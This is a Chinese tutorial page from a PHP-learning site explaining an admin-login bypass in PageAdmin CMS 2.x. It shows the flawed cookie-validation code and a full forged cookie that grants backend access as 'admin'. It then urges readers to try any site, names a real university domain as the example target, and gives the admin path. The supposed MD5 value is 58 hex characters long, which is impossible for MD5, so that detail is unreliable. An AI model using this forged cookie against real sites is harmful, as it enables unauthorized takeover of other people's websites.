网站地图    收藏   

主页 > 后端 > 网站安全 >

PageAdmin CMS 2.x后台登陆绕过 - 网站安全 - 自学ph

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 后台使用Master_Valicate Master_Check函数来验证用户是否登陆,下面是此函数代码if (HttpContext Current Request Cookies[Master] != null) { if (HttpContext Current Request Cookies[Master...

后台使用Master_Valicate.Master_Check函数来验证用户是否登陆,下面是此函数代码
 
if (HttpContext.Current.Request.Cookies["Master"] != null) {

    if (HttpContext.Current.Request.Cookies["Master"].Values["LoginProcess"] != null) {

        Md5 md = new Md5();

        string string_ = HttpContext.Current.Request.Cookies["Master"].Values["UserName"].ToString();

        string str = HttpContext.Current.Request.Cookies["Master"].Values["LoginDate"].ToString();

        string b = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString();

        if (!this.method_1(string_) || md.Get_Md5(str) != b) {

            HttpContext.Current.Response.Write("<script language=javascript>alert('非法登陆!');top.location.href='login.aspx';</script>");

            HttpContext.Current.Response.End();

        }

    } else {

        HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>");

        HttpContext.Current.Response.End();

    }

} else {

    HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>");

    HttpContext.Current.Response.End();

}

 

 
 
首先它检测cookie Master是否存在,这里是可以定义Cookie来绕过,继续往下
 
它检测Master[LoginProcess]是否存在,最后再获取Master[UserName],Master[LoginDate],Master[Valicate]的值,然后检测UserName是不是字符串,然后检测Valicate的值是不是等于md.Get_Md5(LoginDate),如果都OK,就绕过了验证。
 
那么我们就可以设置Cookie,只要让Valicate==md.Get_Md5(LoginDate)就行
 
我们先让LoginDate=1,然后写个aspx文件,计算出md.Get_Md5("1")的值
 
最后Cookie就是Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f
 
访问下后台,会报错,错误出在PageAdmin.masterhead.Page_Load
 
查看此处代码,发现有这句
 
string text = HttpContext.Current.Request.Cookies["Master"].Values["Permissions"].ToString();
 
所以cookie还要再加上Permissions才行,最后构造出来的Cookie就是
 
Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1
 
随便找个网站,如http://scxy.shmtu.edu.cn
 
打开网站,然后设置下cookie
 
 
直接访问后台/master/index.aspx
 


 
修复方案:
用session

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论